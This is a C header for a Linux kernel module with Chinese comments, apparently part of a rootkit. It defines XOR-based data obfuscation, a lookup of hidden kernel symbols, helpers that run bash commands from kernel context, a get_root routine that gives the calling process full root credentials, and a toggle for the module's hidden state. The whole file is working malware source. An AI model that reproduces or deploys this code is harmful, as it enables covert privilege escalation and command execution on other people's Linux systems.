#include <linux/version.h>
#include <linux/kallsyms.h>
#include <linux/cred.h>

#if LINUX_VERSION_CODE < KERNEL_VERSION(4, 14, 0)
# include <linux/kmod.h>  // 低于 4.14 的内核引入 kmod.h
#else
# include <linux/umh.h>   // 高于 4.14 的内核引入 umh.h
#endif

// 定义加密和解密宏，调用相同的编码函数
#define do_encrypt(ptr, len, key) do_encode(ptr, len, key)
#define do_decrypt(ptr, len, key) do_encode(ptr, len, key)

// 循环左移操作
static inline unsigned int custom_rol32(unsigned int val, int n)
{
    return ((val << n) | (val >> (32 - n))); // 将 val 左移 n 位，移出部分放到右边
}

// 编码函数，可能用于加密或其他数据隐藏
static inline void do_encode(void *ptr, unsigned int len, unsigned int key)
{
    while (len > sizeof(key)) {
        *(unsigned int *)ptr ^= custom_rol32(key ^ len, (len % 13)); // 使用异或和循环左移对数据进行编码
        len -= sizeof(key);
        ptr += sizeof(key);
    }
}

// 执行用户模式程序，返回执行结果
static inline int exec(char **argv)
{
    char *envp[] = {"PATH=/sbin:/bin:/usr/sbin:/usr/bin", NULL}; 
    return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); // 执行外部程序并等待完成
}

// 执行指定的 shell 命令
static inline int run_cmd(char *cmd)
{
    char *argv[] = {"/bin/bash", "-c", cmd, NULL};
    return exec(argv);  // 调用 exec 函数执行命令
}

// 内核符号查找回调函数
static int ksym_lookup_cb(unsigned long data[], const char *name, void *module, unsigned long addr)
{
    int i = 0;
    while (!module && (((const char *)data[0]))[i] == name[i]) {
        if (!name[i++]) // 如果找到匹配的符号
            return !!(data[1] = addr);  // 返回符号地址
    }
    return 0;
}

// 查找内核符号名对应的地址
static inline unsigned long ksym_lookup_name(const char *name)
{
    unsigned long data[2] = {(unsigned long)name, 0};
    kallsyms_on_each_symbol((void *)ksym_lookup_cb, data); // 遍历内核符号查找
    return data[1];  // 返回符号地址
}

#ifdef CONFIG_GIVE_ROOT
// 提升当前进程权限为 root
static inline void get_root(void)
{
#if LINUX_VERSION_CODE < KERNEL_VERSION(2, 6, 29)
    // 低版本内核（<2.6.29）直接设置进程的 UID/GID 等为 root 权限
    current->uid = 0;
    current->suid = 0;
    current->euid = 0;
    current->gid = 0;
    current->egid = 0;
    current->fsuid = 0;
    current->fsgid = 0;
    cap_set_full(current->cap_effective);  // 设置所有权限
    cap_set_full(current->cap_inheritable);
    cap_set_full(current->cap_permitted);
#else
    // 新版本内核通过 commit_creds 和 prepare_kernel_cred 来获取 root 权限
    commit_creds(prepare_kernel_cred(0));  // 提升权限为 root
#endif
}
#endif

extern int hidden;  // 外部声明的变量 hidden，用于标记隐藏状态

// 切换 hidden 标志的值
static inline void flip_hidden_flag(void)
{
    if (hidden)
        hidden = 0;  // 如果当前是 1，设置为 0
    else
        hidden = 1;  // 如果当前是 0，设置为 1
}

// 声明的其他函数
int util_init(void);
int get_cmdline(struct task_struct *task, char *buffer, int buflen);
//int run_cmd(const char *cmd); 

/*加密/解密处理：通过 do_encode 函数对数据进行处理。
内核符号查找：使用 ksym_lookup_name 查找内核符号的地址。
权限提升：通过 get_root 函数将当前进程提升为 root 权限。
执行外部命令：通过 exec 和 run_cmd 函数执行外部用户模式程序或 shell 命令。
隐藏标志：通过 flip_hidden_flag 切换 hidden 变量的值，可能用于控制某些资源的隐藏。
*/
